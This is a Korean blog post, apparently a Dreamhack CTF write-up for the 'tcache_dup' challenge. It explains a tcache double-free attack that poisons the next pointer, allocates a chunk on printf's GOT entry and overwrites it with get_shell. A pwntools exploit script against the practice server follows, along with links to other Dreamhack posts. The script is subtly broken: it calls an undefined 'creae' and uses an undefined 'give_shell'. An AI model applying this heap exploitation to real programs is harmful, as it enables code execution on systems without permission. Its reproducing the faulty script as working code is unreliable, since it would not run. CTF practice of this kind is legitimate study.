익스 시나리오
(1) 힙 할당
(2) Double Free
double free 시 청크의 next 포인터에 자기 자신의 주소가, tcache_entry에 자기 자신에 대한 포인터가 적힌다.
만약 청크에 대한 포인터가 ptr이라면
ptr -> ptr
인 것이다.
(3) 재할당
- tcache_entry에 적힌 같은 크기의 청크 주소에 할당해준다.
- 이때 next 포인터에 printf got를 적는다.
ptr -> printf@got 가 된다.
(4) 2번째 재할당
- 아직 tcache_entry에는 첫 번째 청크에 대한 주소가 적혀있으므로 재할당해준다.
- tcache_enry에는 next 포인터에 적힌 printf@got가 적힌다.
(5) printf@got에 할당
- size 체크를 하지 않기 때문에 fake chunk 구조를 만들지 않아도 된다.
- got overwrite을 위해 데이터로 get_shell 함수 주소를 준다.
(6) 쉘 획득
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
#p = process("./tcache_dup")
p = remote("host1.dreamhack.games", 8264)
elf = ELF("./tcache_dup")
get_shell = elf.symbols['get_shell']
def create(size, data):
p.sendlineafter("> ", '1')
p.sendlineafter("Size: ", str(size))
p.sendafter("Data: ", data)
def delete(idx):
p.sendlineafter("> ", '2')
p.sendlineafter("idx: ", str(idx))
creae(8, 'A'*8)
#Double Free
delete(0)
delete(0)
#overwrite next pointer to printf got
create(8, p64(elf.got['printf']))
create(8, 'A'*8)
#malloc on printf got & got overwrite
create(8, p64(give_shell))
p.interactive()
[Dreamhack] memory_leakage (0) | 2020.07.08 |
---|---|
[Dreamhack] House of Force (0) | 2020.06.13 |
[Dreamhack] house_of_spirit (0) | 2020.06.12 |
[DreamHack] hook (0) | 2020.05.31 |
[DreamHack] basic_exploitation_000 (0) | 2020.05.31 |